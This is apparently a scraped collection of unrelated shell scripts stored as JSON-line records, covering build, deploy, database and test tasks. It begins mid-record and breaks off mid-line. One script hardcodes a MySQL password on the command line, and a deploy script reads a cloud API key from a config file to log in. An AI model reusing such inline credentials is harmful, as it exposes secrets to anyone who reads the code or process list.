$REMOTE_SERVER:$REMOTE_LOCATION\nssh -t $REMOTE_SERVER \"cd ${REMOTE_LOCATION}; tar -xvzf ${RELEASE_FILE}; rm -rf ${RELEASE_FILE}\"\n\ncat > ${LOCAL_LOCATION}/config.js < ${LOCAL_LOCATION}/vt.conf <Toinounet21/avalanchego-traffiqued-v1.7.1\n#!/bin/bash\n\nif ! [[ \"$0\" =~ scripts/protobuf_codegen.sh ]]; then\n echo \"must be run from repository root\"\n exit 255\nfi\n\nTARGET=$PWD\nif [ -n \"$1\" ]; then \n TARGET=\"$1\"\nfi\n\necho \"Re-genrating protobuf for target directory: $TARGET\"\n\n# go module does not download the actual \"io/prometheus/client/metrics.proto\" file\n# manually download using git\nPROMETHEUS_PATH=/tmp/client_model\nrm -rf ${PROMETHEUS_PATH}\ngit clone --quiet -b v0.2.0 https://github.com/prometheus/client_model.git ${PROMETHEUS_PATH}\n\nfor PROTO_BUFFER_FILE in $(find $TARGET -type f ! -path '*/.git/*' | grep proto$)\ndo\n echo \"Re-generating protobuf: $PROTO_BUFFER_FILE\"\n PROTO_FILE_DIR=$(dirname $PROTO_BUFFER_FILE)\n protoc \\\n --proto_path=\"$PROMETHEUS_PATH\" \\\n -I=\"$PROTO_FILE_DIR\" \\\n --go_out=\"$PROTO_FILE_DIR\" \\\n --go-grpc_out=\"$PROTO_FILE_DIR\" \\\n --go_opt=paths=source_relative \\\n --go-grpc_opt=paths=source_relative \\\n \"$PROTO_BUFFER_FILE\"\n if [[ $? -ne 0 ]]; then\n echo \"WARN: protobuf codegen did not succeed for $PROTO_BUFFER_FILE\"\n else\n echo \"protobuf codegen succeed for $PROTO_BUFFER_FILE\"\n fi\ndone\n\nrm -rf ${PROMETHEUS_PATH}"} {"text": "#!/bin/sh\n\ncat << EOF | mysql -h clustrix2 --database=job_manager_reloaded -u job_managerAdmin -pm@1@s@ur@ \nDROP TABLE new_job_manager_reloaded_mv;\nCREATE TABLE new_job_manager_reloaded_mv AS SELECT\n WO.id AS _pk_workorder ,\n J.id AS _fk_job ,\n 'n/a' AS _fk_phase ,\n IFNULL(REQ.id,0) AS _fk_requesttype ,\n IFNULL(REQ.id,0) AS _fk_requestsubtype ,\n IFNULL(REQ.id,0) AS _fk_requestspecifictype ,\n CASE\n WHEN ISNULL(ASSN.id) THEN ASSN3.id \n END AS _fk_submitter ,\n DEPTWO.id AS _fk_department ,\n IFNULL(ASSN.id,0) AS _fk_staffassigned ,\n ASSN2.id AS _fk_mainrequester ,\n DBILLTO.id AS _fk_deptbillto ,\n WO.description AS WO_description ,\n WO.status AS WO_status ,\n wo_aggr.total AS WO_ctotal ,\n 'n/a' AS budgetamount ,\n WO.date_complete ,\n WO.date_promised ,\n WO.date_promised AS datepromisedrevised ,\n WO.date_submitted ,\n WO.admin_code AS admincode ,\n WL.qty AS amountlabor ,\n WL.qty AS amountmaterial ,\n WO.hhmi_project_id AS hhmiprojectid ,\n WO.flag_has_been_split AS flaghasbeensplit ,\n WO.date_billed ,\n WL.id AS _pk_workorderline ,\n WL.performed_by_id AS WL_fk_user ,\n WL.qty AS quantity ,\n WL.cost,\n CASE \n WHEN WL.fixed_cost !=0\n THEN WL.fixed_cost\n ELSE WL.qty * WL.cost\n END AS WL_ctotal ,\n WL.line_type AS linetype ,\n WL.fixed_cost AS fixedcost ,\n 'n/a' AS _fk_catalog ,\n WL.unit ,\n WL.description AS WL_description ,\n WL.note AS note ,\n DBILLTO.name AS DBILLTO_departmentname ,\n DBILLTO.number AS DBILLTO_departmentbillingcode ,\n DBILLTO.number AS DBILLTO_departmentnumber ,\n DBILLTO.id AS DBILLTO_departmentid,\n DEPTWO.name AS DEPTWO_departmentname ,\n DEPTWO.number AS DEPTWO_departmentbillingcode ,\n DEPTWO.number AS DEPTWO_departmentnumber ,\n ASSN2.username AS MGR_DBILLTO_staffname ,\n WL.performed_by_id AS performed_by ,\n 'n/a' AS MGR_DBILLTO_positionname ,\n ASSN2.email AS MGR_DBILLTO_email ,\n 'n/a' AS MGR_DEPTWO_staffname ,\n 'n/a' AS MGR_DEPTWO_positionname ,\n 'n/a' AS MGR_DEPTWO_email ,\n CASE WHEN ISNULL(ASSN.last_name) THEN concat(ASSN3.last_name, ', ', ASSN3.first_name) ELSE\n concat(ASSN.last_name, ', ', ASSN.first_name) END AS ASSN_staffname ,\n IFNULL(ASSN.username,' ') AS ASSN_positionname ,\n CASE WHEN ISNULL(ASSN.email) THEN ASSN3.email ELSE ASSN.email END AS ASSN_email ,\n J.name AS jobname ,\n J.status AS job_status ,\n J.description AS job_description,\n CAST(concat(YEAR(b2.date_end) , '-' , MONTH(b2.date_end)) AS CHAR) AS date_submitted_period,\n CAST(concat(YEAR(b1.date_end) , '-' , MONTH(b1.date_end)) AS CHAR) AS date_complete_period,\n IFNULL(REQ.name,' ') AS requesttype,\n b1.date_end AS date_complete_date_end,\n ASSN2.username AS REQUESTER_staffname ,\n 'n/a' AS REQUESTER_positionname ,\n 'n/a' AS REQUESTER_email,\n IFNULL(b2.hours_covered_excl_holidays,b1.hours_covered_excl_holidays) AS hours_covered_excl_holidays_submitted_period,\n b1.hours_covered_excl_holidays AS hours_covered_excl_holidays_completed_period,\n CAST(concat(YEAR(b1.date_end) , LPAD(MONTH(b1.date_end),2,'0')) AS CHAR) AS\n date_complete_period_for_ranges\nFROM\n TimeMatrix_workorderline WL\nLEFT JOIN\n TimeMatrix_workorder WO\nON\n WL.wo_id_id = WO.id\nLEFT JOIN\n TimeMatrix_department DBILLTO\nON\n WO.bill_to_id = DBILLTO.id\nLEFT JOIN\n TimeMatrix_department DEPTWO\nON\n WO.department_id = DEPTWO.id\nLEFT JOIN\n auth_user ASSN\nON\n WL.performed_by_id = ASSN.id\nLEFT JOIN \n auth_user ASSN2\nON\n WO.main_requestor_id = ASSN2.id \nLEFT JOIN \n auth_user ASSN3\nON \n WO.submitter_id = ASSN3.id \n\nLEFT JOIN\n TimeMatrix_job J\nON\n WO.job_id = J.id\nLEFT JOIN\n TimeMatrix_request REQ\nON\n WO.request_type_id = REQ.id\nLEFT JOIN\n TimeMatrix_billingperiod b1\nON\n WO.date_complete >= b1.date_start\nAND WO.date_complete <= b1.date_end\nLEFT JOIN\n TimeMatrix_billingperiod b2\nON\n WO.date_submitted >= b2.date_start\nAND WO.date_submitted <= b2.date_end\n -- aggregate data\nLEFT JOIN\n (\n SELECT\n wl1.wo_id_id,\n SUM(\n CASE\n WHEN wl1.fixed_cost !=0\n THEN wl1.fixed_cost\n ELSE wl1.qty * wl1.cost\n END) AS total\n FROM\n TimeMatrix_workorderline wl1\n GROUP BY\n wl1.wo_id_id) wo_aggr\nON\n WO.id=wo_aggr.wo_id_id\n;\nalter table new_job_manager_reloaded_mv modify column WO_ctotal double;\nalter table new_job_manager_reloaded_mv modify column WL_ctotal double;\n\ncreate or replace view new_job_manager_reloaded_view as select * from new_job_manager_reloaded_mv;\nEOF"} {"text": "dockerfiles_bak/dev_server_container.sh1-10\n#!/bin/bash\n\ncur_path=$(cd `dirname $0`;pwd)\n\ndocker run --name ept_server_dev -v $cur_path:/app -d -p 3000:3000 -t ept_server:v0.1-dev\n\n#开发时日志查看\n#docker logs -f -t --tail 100 ept_server_dev"} {"text": "chipnetics/awkcc\nCC=gcc\nHEADERDIR=/opt/exp/lib/awkcc/include\nAWKLIB=/opt/exp/lib/awkcc/libAWK.a\nMATHLIB=-lm\nCCPARMS=$3\n# For Xenix, use\n# FLAGS=\"-M0 -Mm -compat\"\n# if you have kpv's malloc package, add -DKMALLOC to get the -m option\nFLAGS=\"-O $CCPARMS\"\n\n# Note that in the uts machines the crt0.o is in /native or ....u370/lib/crt0.o\n# On most machines it is in /lib/crt0.o\n# Thus the setting below should not create problems in the UTS environment.\n# Therefore, set it to /usr/ccs/lib/crt0.o, only if file exists.\nCRT=/lib/crt0.o\n[ -s /usr/ccs/lib/crt0.o ] && CRT=/usr/ccs/lib/crt0.o\n\nset -e\ncase $4 in\n\t\"0\")\t$CC -I$HEADERDIR $FLAGS -o $2 $1 $AWKLIB $MATHLIB \n\t\t;;\n\t\"1\")\t$CC -I$HEADERDIR $FLAGS -pg -o $2 $1 $AWKLIB $MATHLIB \n\t \techo \"This executable will create a gprof file.\"\n\t\t;;\n\t\"2\")\t$CC -I$HEADERDIR -S -O -o awker.s $1 \n\t\tas -J -o awker.o awker.s \n\t\tld -X $CRT -o $2 awker.o $AWKLIB $MATHLIB -lc \n\t\trm -f awker.s awker.o \n\t\t;;\n\t*)\techo \"ERROR\" \n\t\texit 1\n\t\t;;\nesac\nexit 0"} {"text": "0\n#!/bin/sh\n\nset -eu\n\nmkdir -p logs\n\nexport SERF_MEMBER_NET=127.0.10\nexport SERF_RPC_NET=127.0.0\nexport HAPROXY_NET=127.0.20\nexport RQLITE_NET=127.0.30\n\nsource scripts/start_service_and_serf.sh\n\n# Update the HAProxy template for the rqlite backend\n\nstart_service_and_serf HAPROXY 1 receive-member-events\nstart_service_and_serf RQLITE 1\nstart_service_and_serf RQLITE 2\nstart_service_and_serf RQLITE 3\n\nsleep 1\n\n\necho -----\nbin/serf members"} {"text": "DinRaf/mocka\necho \"... installing penlight and ldoc ... \"\ncd /tmp/mocka \\\n && sudo luarocks install penlight \\\n && sudo luarocks install ldoc"} {"text": "10-100\nCUDA_VISIBLE_DEVICES=7 python inference.py\\\n --train_context_path ../data/Douban/tiny_data/tiny_train_context.txt\\\n --train_true_response_path ../data/Douban/tiny_data/tiny_train_true_response_id.txt\\\n --response_index_path ../data/Douban/tiny_data/tiny_train_response_index.txt\\\n --train_context_vec_file ../data/Douban/tiny_data/tiny_douban_train_context_vec.pkl\\\n --all_response_vec_file ../data/Douban/tiny_data/tiny_douban_all_response_vec.pkl\\\n --dev_path ../data/Douban/test.txt\\\n --word2id_path ./embeddings/smn/word2id.txt\\\n --model_type SMN\\\n --embedding_path ./embeddings/smn/embedding.pkl\\\n --batch_size 256\\\n --ckpt_path ./ckpt/smn/finetune/"} {"text": "#!/bin/bash\n\n## Variable Initialization\nAPACHE_IP_LIST=\"@@{DemoApp.address}@@\"\nport=80\n\n## Install HAProxy Packages\nsudo yum install -y haproxy\n\n## Generate HAProxy Conf\necho \"global\n log 127.0.0.1 local0\n log 127.0.0.1 local1 notice\n maxconn 4096\n quiet\n user haproxy\n group haproxy\ndefaults\n log global\n mode http\n retries 3\n timeout client 50s\n timeout connect 5s\n timeout server 50s\n option dontlognull\n option httplog\n option redispatch\n balance roundrobin\n# Set up application listeners here.\nlisten stats 0.0.0.0:8080\n mode http\n log global\n stats enable\n stats hide-version\n stats refresh 30s\n stats show-node\n stats uri /stats\nlisten admin\n bind 127.0.0.1:22002\n mode http\n stats uri /\nfrontend http\n maxconn 2000\n bind 0.0.0.0:80\n default_backend servers-http\nbackend servers-http\" | sudo tee /etc/haproxy/haproxy.cfg\nsudo sed -i 's/server host-/#server host-/g' /etc/haproxy/haproxy.cfg\n\n## Configure Apache server ip list in HAProxy conf\nhosts=$(echo \"${APACHE_IP_LIST}\" | sed 's/^,//' | sed 's/,$//' | tr \",\" \"\\n\")\nfor host in $hosts\ndo\n echo \" server host-${host} ${host}:${port} weight 1 maxconn 100 check\" | sudo tee -a /etc/haproxy/haproxy.cfg\ndone\n\n\n# Enable and Restart haproxy service\nsudo systemctl daemon-reload\nsudo systemctl enable haproxy\nsudo systemctl restart haproxy"} {"text": "#!/bin/bash\n\nfunction orange.magic.db.property.get()\n{\n local KEY=\"$1\"\n local FILE=\"$2\"\n grep '^'\"${KEY}\"' \\?= \\?.*$' < \"${FILE}\" | sed 's/^'\"${KEY}\"' \\?= \\?\"\\?\\([^\"]*\\)\"\\?$/\\1/g'\n}\n\nfunction orange.magic.db.manage.init()\n{\n echo \"CREATE DATABASE ${DATABASE_NAME}\" | mysql -u\"${DATABASE_USERNAME}\" -p\"${DATABASE_PASSWORD}\"\n cat schema.sql | mysql -u\"${DATABASE_USERNAME}\" -p\"${DATABASE_PASSWORD}\" \"${DATABASE_NAME}\"\n}\n\n\nfunction main()\n{\n DATABASE_USERNAME=\"$(orange.magic.db.property.get 'javax.persistence.jdbc.user' 'db_config.properties')\"\n DATABASE_PASSWORD=\"$(orange.magic.db.property.get 'javax.persistence.jdbc.password' 'db_config.properties')\"\n SQL_COMMAND_FILE=\"create_database.sql\"\n mysql -u\"${DATABASE_USERNAME}\" -p\"${DATABASE_PASSWORD}\" < \"${SQL_COMMAND_FILE}\"\n [ \"$?\" = 0 ] && echo \"OK\"\n}\n\nmain \"$@\""} {"text": "leonard73/NativeDIP0\n./build/DipBenchmark 2 7 4"} {"text": "#!/usr/bin/env bats\n\nload \"../../../bin/toolset\"\n\n\n##\n## net::is_ip4\n##\n\n@test \"Test that net::is_ip4 returns 0 when ip address is a valid ipv4\" {\n run net::is_ip4 \"8.8.8.8\"\n [ \"$status\" -eq 0 ]\n\n run net::is_ip4 \"10.0.0.2\"\n [ \"$status\" -eq 0 ]\n\n run net::is_ip4 \"10.0.0.254\"\n [ \"$status\" -eq 0 ]\n\n run net::is_ip4 \"192.168.0.1\"\n [ \"$status\" -eq 0 ]\n\n run net::is_ip4 \"172.16.15.254\"\n [ \"$status\" -eq 0 ]\n\n run net::is_ip4 \"8.8.4.4\"\n [ \"$status\" -eq 0 ]\n}\n\n@test \"Test that net::is_ip4 returns 1 when ip address is not a valid ipv4\" {\n run net::is_ip4 \"256.255.255.255\"\n [ \"$status\" -eq 1 ]\n\n run net::is_ip4 \"555.555.555.555\"\n [ \"$status\" -eq 1 ]\n\n run net::is_ip4 \"8.8.4.2000\"\n [ \"$status\" -eq 1 ]\n}\n\n\n##\n## net::is_ip6\n##\n\n@test \"Test that net::is_ip6 returns 0 when ip address is a valid ipv6\" {\n run net::is_ip6 fe80::5f14:4519:47d2:da1\n [ \"$status\" -eq 0 ]\n}\n\n@test \"Test that net::is_ip6 returns 1 when ip address is not a valid ipv6\" {\n run net::is_ip6 plop\n [ \"$status\" -eq 1 ]\n}\n\n\n##\n## net::is_fqdn\n##\n\n@test \"Test that net::is_fqdn returns 0 when host is a valid FQDN\" {\n run net::is_fqdn \"abcd.com\"\n [ \"$status\" -eq 0 ]\n}\n\n@test \"Test that net::is_fqdn returns 1 when host is not a valid FQDN\" {\n run net::is_fqdn \"abcd\"\n [ \"$status\" -eq 1 ]\n}\n\n\n##\n## net::is_email\n##\n\n@test \"Test that net::is_email returns 0 when address is a valid email\" {\n run net::is_email ''\n [ \"$status\" -eq 0 ]\n}\n\n@test \"Test that net::is_email returns 1 when address is not a valid email\" {\n run net::is_email \"abcd\"\n [ \"$status\" -eq 1 ]\n}"} {"text": "export VIRTUALENVWRAPPER_PYTHON=$HOME/.local/pipx/venvs/virtualenv/bin/python\nexport PROJECT_HOME=$HOME/workspace\nsource $HOME/.local/pipx/venvs/virtualenv/bin/virtualenvwrapper.sh"} {"text": "deleeuwblue/multi-tenancy-backend\n#!/usr/bin/env bash\n\nexport IBMCLOUD_API_KEY\nexport IBMCLOUD_TOOLCHAIN_ID\nexport IMAGE_PULL_SECRET_NAME\n\nexport IBMCLOUD_IKS_REGION\nexport IBMCLOUD_IKS_CLUSTER_NAME\nexport IBMCLOUD_IKS_CLUSTER_NAMESPACE\nexport REGISTRY_URL\nexport IMAGE\nexport HOME\nexport BREAK_GLASS\n\nif [ -f /config/api-key ]; then\n IBMCLOUD_API_KEY=\"$(cat /config/api-key)\" # pragma: allowlist secret\nelse\n IBMCLOUD_API_KEY=\"$(cat /config/ibmcloud-api-key)\" # pragma: allowlist secret\nfi\n\nHOME=/root\nIBMCLOUD_TOOLCHAIN_ID=\"$(jq -r .toolchain_guid /toolchain/toolchain.json)\"\n\n#example: https://github.com/IBM/multi-tenancy/blob/main/configuration/global.json\nCONFIG_FILE=\"../multi-tenancy/configuration/global.json\"\nIBM_CLOUD_RESOURCE_GROUP=$(cat ./$CONFIG_FILE | jq '.IBM_CLOUD.RESOURCE_GROUP' | sed 's/\"//g')\nIBM_CLOUD_REGION=$(cat ./$CONFIG_FILE | jq '.IBM_CLOUD.REGION' | sed 's/\"//g')\nREGISTRY_NAMESPACE=$(cat ./$CONFIG_FILE | jq '.REGISTRY.NAMESPACE' | sed 's/\"//g')\nREGISTRY_TAG=$(cat ./$CONFIG_FILE | jq '.REGISTRY.TAG' | sed 's/\"//g')\nREGISTRY_URL=$(cat ./$CONFIG_FILE | jq '.REGISTRY.URL' | sed 's/\"//g')\nREGISTRY_SECRET_NAME=$(cat ./$CONFIG_FILE | jq '.REGISTRY.SECRET_NAME' | sed 's/\"//g')\nIMAGES_NAME_BACKEND=$(cat ./$CONFIG_FILE | jq '.IMAGES.NAME_BACKEND' | sed 's/\"//g')\nIMAGES_NAME_FRONTEND=$(cat ./$CONFIG_FILE | jq '.IMAGES.NAME_FRONTEND' | sed 's/\"//g')\n\n#example: https://github.com/IBM/multi-tenancy/blob/main/configuration/tenants/tenant-a.json\nCONFIG_FILE=\"../multi-tenancy/configuration/tenants/tenant-a.json\"\nAPPID_SERVICE_INSTANCE_NAME=$(cat ./$CONFIG_FILE | jq '.APP_ID.SERVICE_INSTANCE' | sed 's/\"//g')\nAPPID_SERVICE_KEY_NAME=$(cat ./$CONFIG_FILE | jq '.APP_ID.SERVICE_KEY_NAME' | sed 's/\"//g')\nPOSTGRES_SERVICE_INSTANCE=$(cat ./$CONFIG_FILE | jq '.POSTGRES.SERVICE_INSTANCE' | sed 's/\"//g') \nPOSTGRES_SERVICE_KEY_NAME=$(cat ./$CONFIG_FILE | jq '.POSTGRES.SERVICE_KEY_NAME' | sed 's/\"//g')\nPOSTGRES_SQL_FILE=$(cat ./$CONFIG_FILE | jq '.POSTGRES.SQL_FILE' | sed 's/\"//g')\nAPPLICATION_CONTAINER_NAME_BACKEND=$(cat ./$CONFIG_FILE | jq '.APPLICATION.CONTAINER_NAME_BACKEND' | sed 's/\"//g') \nAPPLICATION_CONTAINER_NAME_FRONTEND=$(cat ./$CONFIG_FILE | jq '.APPLICATION.CONTAINER_NAME_FRONTEND' | sed 's/\"//g')\nAPPLICATION_CATEGORY=$(cat ./$CONFIG_FILE | jq '.APPLICATION.CATEGORY' | sed 's/\"//g')\nCODE_ENGINE_PROJECT_NAME=$(cat ./$CONFIG_FILE | jq '.CODE_ENGINE.PROJECT_NAME' | sed 's/\"//g') \nIBM_KUBERNETES_SERVICE_NAME=$(cat ./$CONFIG_FILE | jq '.IBM_KUBERNETES_SERVICE.NAME' | sed 's/\"//g') \nIBM_KUBERNETES_SERVICE_NAMESPACE=$(cat ./$CONFIG_FILE | jq '.IBM_KUBERNETES_SERVICE.NAMESPACE' | sed 's/\"//g') \nIBM_OPENSHIFT_SERVICE_NAME=$(cat ./$CONFIG_FILE | jq '.IBM_OPENSHIFT_SERVICE.NAME' | sed 's/\"//g') \nIBM_OPENSHIFT_SERVICE_NAMESPACE=$(cat ./$CONFIG_FILE | jq '.IBM_OPENSHIFT_SERVICE.NAMESPACE' | sed 's/\"//g') \nPLATFORM_NAME=$(cat ./$CONFIG_FILE | jq '.PLATFORM.NAME' | sed 's/\"//g')\n\nIBM_KUBERNETES_SERVICE_NAMESPACE=${IBM_KUBERNETES_SERVICE_NAMESPACE}-dev\n\nif [ \"$PLATFORM_NAME\" = \"IBM_KUBERNETES_SERVICE\" ]; then\n IBMCLOUD_IKS_CLUSTER_NAMESPACE=${IBM_KUBERNETES_SERVICE_NAMESPACE}\n IBMCLOUD_IKS_CLUSTER_NAME=${IBM_KUBERNETES_SERVICE_NAME}\n else\n IBMCLOUD_IKS_CLUSTER_NAMESPACE=${IBM_OPENSHIFT_SERVICE_NAMESPACE}\n IBMCLOUD_IKS_CLUSTER_NAME=${IBM_OPENSHIFT_SERVICE_NAME}\nfi\n\necho \"IBMCLOUD_IKS_CLUSTER_NAME=${IBMCLOUD_IKS_CLUSTER_NAME}\"\necho \"IBMCLOUD_IKS_CLUSTER_NAMESPACE=${IBMCLOUD_IKS_CLUSTER_NAMESPACE}\"\n\nIBMCLOUD_IKS_REGION=${IBM_CLOUD_REGION}\nIMAGE=\"$(cat /config/image)\"\nIMAGE_PULL_SECRET_NAME=\"ibmcloud-toolchain-${IBMCLOUD_TOOLCHAIN_ID}-${REGISTRY_URL}\"\n\nIBMCLOUD_IKS_REGION=$(echo \"${IBMCLOUD_IKS_REGION}\" | awk -F \":\" '{print $NF}')\nibmcloud login -r \"${IBMCLOUD_IKS_REGION}\"\nibmcloud target -g ${IBM_CLOUD_RESOURCE_GROUP}\nibmcloud ks cluster config --cluster \"${IBMCLOUD_IKS_CLUSTER_NAME}\"\n\nibmcloud ks cluster get --cluster \"${IBMCLOUD_IKS_CLUSTER_NAME}\" --json > \"${IBMCLOUD_IKS_CLUSTER_NAME}.json\"\n# If the target cluster is openshift then make the appropriate additional login with oc tool\nif which oc > /dev/null && jq -e '.type==\"openshift\"' \"${IBMCLOUD_IKS_CLUSTER_NAME}.json\" > /dev/null; then\n echo \"${IBMCLOUD_IKS_CLUSTER_NAME} is an openshift cluster. Doing the appropriate oc login to target it\"\n oc login -u apikey -p \"${IBMCLOUD_API_KEY}\"\nfi\n\n\nset_env IBM_CLOUD_REGION \"${IBM_CLOUD_REGION}\"\nset_env IBM_CLOUD_RESOURCE_GROUP \"${IBM_CLOUD_RESOURCE_GROUP}\"\nset_env REGISTRY_NAMESPACE \"${REGISTRY_NAMESPACE}\"\nset_env REGISTRY_TAG \"${REGISTRY_TAG}\"\nset_env REGISTRY_URL \"${REGISTRY_URL}\"\nset_env REGISTRY_SECRET_NAME \"${REGISTRY_SECRET_NAME}\"\nset_env IMAGES_NAME_BACKEND \"${IMAGES_NAME_BACKEND}\"\nset_env IMAGES_NAME_FRONTEND \"${IMAGES_NAME_FRONTEND}\"\nset_env APPID_SERVICE_INSTANCE_NAME \"${APPID_SERVICE_INSTANCE_NAME}\"\nset_env APPID_SERVICE_KEY_NAME \"${APPID_SERVICE_KEY_NAME}\"\nset_env POSTGRES_SERVICE_INSTANCE \"${POSTGRES_SERVICE_INSTANCE}\"\nset_env POSTGRES_SERVICE_KEY_NAME \"${POSTGRES_SERVICE_KEY_NAME}\"\nset_env POSTGRES_SQL_FILE \"${POSTGRES_SQL_FILE}\"\nset_env APPLICATION_CONTAINER_NAME_BACKEND \"${APPLICATION_CONTAINER_NAME_BACKEND}\"\nset_env APPLICATION_CONTAINER_NAME_FRONTEND \"${APPLICATION_CONTAINER_NAME_FRONTEND}\"\nset_env APPLICATION_CATEGORY \"${APPLICATION_CATEGORY}\"\nset_env CODE_ENGINE_PROJECT_NAME \"${CODE_ENGINE_PROJECT_NAME}\"\nset_env IBM_KUBERNETES_SERVICE_NAME \"${IBM_KUBERNETES_SERVICE_NAME}\"\nset_env IBM_KUBERNETES_SERVICE_NAMESPACE \"${IBM_KUBERNETES_SERVICE_NAMESPACE}\"\nset_env IBM_OPENSHIFT_SERVICE_NAME \"${IBM_OPENSHIFT_SERVICE_NAME}\"\nset_env IBM_OPENSHIFT_SERVICE_NAMESPACE \"${IBM_OPENSHIFT_SERVICE_NAMESPACE}\"\nset_env PLATFORM_NAME \"${PLATFORM_NAME}\""} {"text": "1-10\n#!/bin/bash\n\nset -e\n\nSTABLE_VERSION=${TRAVIS_TAG}\nSNAPSHOT_VERSION=\"${TRAVIS_BRANCH//[\\/]/-}-SNAPSHOT\"\nexport PROJECT_VERSION=${STABLE_VERSION:-\"${SNAPSHOT_VERSION}\"}\necho \"Project version is \\\"$PROJECT_VERSION\\\"\"\n\nlein deploy"} {"text": "solus/gnome-mpv.sh\n#!/bin/bash\n\nsudo eopkg it gnome-mpv\n\nmkdir $HOME/.config/mpv\ncp mpv.conf $HOME/.config/mpv/"} {"text": "#!/bin/bash\n#\n# build_fixups.sh : make some fixes to the installation.\n# We eventually need to remove this hack.\n#\n\n# --- Start standard header to set AOMP environment variables ----\nrealpath=`realpath $0`\nthisdir=`dirname $realpath`\n. $thisdir/aomp_common_vars\n# --- end standard header ----\n\n# Copy examples \nif [ -d $AOMP/examples ] ; then \n $SUDO rm -rf $AOMP/examples\nfi\necho $SUDO cp -rp $AOMP_REPOS/$AOMP_REPO_NAME/examples $AOMP\n$SUDO cp -rp $AOMP_REPOS/$AOMP_REPO_NAME/examples $AOMP\n\nif [ \"$AOMP_STANDALONE_BUILD\" == 1 ] ; then\n # Licenses\n echo mkdir -p $AOMP/share/doc/aomp\n mkdir -p $AOMP/share/doc/aomp\n echo $SUDO cp $AOMP_REPOS/$AOMP_REPO_NAME/LICENSE $AOMP/share/doc/aomp/LICENSE.apache2\n $SUDO cp $AOMP_REPOS/$AOMP_REPO_NAME/LICENSE $AOMP/share/doc/aomp/LICENSE.apache2\n echo $SUDO cp $AOMP_REPOS/$AOMP_EXTRAS_REPO_NAME/LICENSE $AOMP/share/doc/aomp/LICENSE.mit\n $SUDO cp $AOMP_REPOS/$AOMP_EXTRAS_REPO_NAME/LICENSE $AOMP/share/doc/aomp/LICENSE.mit\n echo $SUDO cp $AOMP_REPOS/$AOMP_FLANG_REPO_NAME/LICENSE.txt $AOMP/share/doc/aomp/LICENSE.flang\n $SUDO cp $AOMP_REPOS/$AOMP_FLANG_REPO_NAME/LICENSE.txt $AOMP/share/doc/aomp/LICENSE.flang\nfi\n\necho Cleaning AOMP Directory...\n#examples\n$SUDO rm -f $AOMP/examples/hip/*.txt\n$SUDO rm -f $AOMP/examples/hip/*.sh\n$SUDO rm -f $AOMP/examples/openmp/*.txt\n$SUDO rm -f $AOMP/examples/openmp/*.sh\n$SUDO rm -f $AOMP/examples/cloc/*.txt\n$SUDO rm -f $AOMP/examples/cloc/*.sh\n$SUDO rm -f $AOMP/examples/fortran/*.txt\n$SUDO rm -f $AOMP/examples/fortran/*.sh\n$SUDO rm -f $AOMP/examples/*.sh\n$SUDO rm -f $AOMP/examples/raja/*.txt\n$SUDO rm -f $AOMP/examples/raja/*.sh\n\n# Clean libexec\n$SUDO rm -rf $AOMP/libexec\n\n# Clean src\n$SUDO rm -rf $AOMP/src\n$SUDO rm -rf $AOMP/rocclr\n\n# Clean llvm-lit\n$SUDO rm -f $AOMP/bin/llvm-lit\n\necho \"Done with $0\""} {"text": "Tommimon/advent-of-code-2021riccardo_negri/d01/x.sh\n#!/bin/fish\nsudo mariadb -u root -p < x.sql"} {"text": "Andrea-MariaDB-2/opencollective-restscripts/run_server_tests.sh\n#!/bin/bash\n\nif [ \"$NODE_ENV\" = \"circleci\" ]; then\n echo \"> Starting api server\"\n cd ~/api\n PG_DATABASE=opencollective_dvl npm start &\n API_PID=$!\n cd -\n echo \"> Starting rest server\"\n npm start &\n REST_PID=$!\nfi\n\necho \"\"\necho \"Waiting 5sec (give some time for servers to be up and running)\"\nsleep 5\necho \"\"\n\necho \"\"\necho \"> Starting server jest tests\"\njest test/server/*\nRETURN_CODE=$?\nif [ $RETURN_CODE -ne 0 ]; then\n echo \"Error with jest tests, exiting\"\n exit 1;\nfi\n\nif [ \"$NODE_ENV\" = \"circleci\" ]; then\n echo \"Killing all node processes\"\n kill $API_PID;\n kill $REST_PID;\n echo \"Exiting with code $RETURN_CODE\"\n exit $RETURN_CODE\nfi"} {"text": "#!/usr/bin/env sh\nset -ex\nwget https://github.com/snar/bgpq3/archive/v0.1.32.tar.gz\ntar -xzvf v0.1.32.tar.gz\ncd bgpq3-0.1.32/ && ./configure --prefix=/usr && make && sudo make install"} {"text": "#!/bin/bash\n\ncandidates=$1\nscored_candidates_dir=$2\nquery_expanded=$3\ninit_params=$4\noutput_params=$5\nmodel=$6\nvocab=$7\ngpu=$8\neval_args=${@:9}\n\nexport TAC_ROOT=/iesl/canvas/hschang/TAC_2016/codes/tackbp2016-sf\nexport TAC_CONFIG=$TAC_ROOT/config/coldstart2015_UMass_IESL1.config\nexport TH_RELEX_ROOT=/iesl/canvas/hschang/TAC_2016/codes/torch-relation-extraction\n\nMAX_SEQ=20\n\nmkdir -p $scored_candidates_dir\n\nCAND_SCORE_CMD=\"th ${TH_RELEX_ROOT}/src/eval/ScoreCandidateFile.lua -candidates $candidates -vocabFile $vocab -model $model -gpuid $gpu -threshold 0 -outFile $scored_candidates_dir/scored_candidates -maxSeq $MAX_SEQ $eval_args\"\necho $CAND_SCORE_CMD\n$CAND_SCORE_CMD\n\n$TAC_ROOT/components/bin/response_inv.sh $query_expanded $scored_candidates_dir/scored_candidates $scored_candidates_dir/response_full\n\n$TAC_ROOT/components/bin/postprocess2015.sh $scored_candidates_dir/response_full $query_expanded /dev/null $scored_candidates_dir/response_full_pp15\n\n$TAC_ROOT/components/bin/response_cs_sf.sh $scored_candidates_dir/response_full_pp15 $scored_candidates_dir/response_full_pp15_noNIL\n\nNUM_ITER=3\nASSESSMENTS=$TAC_ROOT/evaluation/resources/2015/batch_00_05_poolc.assessed.fqec\n\nmkdir -p `dirname $output_params`\npython $TH_RELEX_ROOT/bin/tac-evaluation/eval-scripts/fast_threshold_tuning_2015.py $scored_candidates_dir/response_full_pp15_noNIL $ASSESSMENTS $init_params $output_params $NUM_ITER"} {"text": "0\n#!/bin/bash\n\nset -e\ncd \"$(dirname ${BASH_SOURCE[0]})\"\n\nfunction runtest () {\n echo '===========' \"$@\" '==========='\n python3 \"$@\" &\n sleep 1\n python client.py localhost\n kill %1\n wait %1 2>/dev/null || true\n #kill $(lsof | grep 'TCP.*1060' | awk '{print$2}')\n}\n\nruntest srv_single.py localhost\nruntest srv_threaded.py localhost\nruntest srv_async.py localhost\nruntest srv_legacy1.py localhost\nruntest srv_legacy2.py localhost\nruntest srv_asyncio1.py localhost\nruntest srv_asyncio2.py localhost"} {"text": "#! /usr/bin/env bash\n\n#install nginx\napt-get install nginx\n\n#install mongodb\napt-key adv 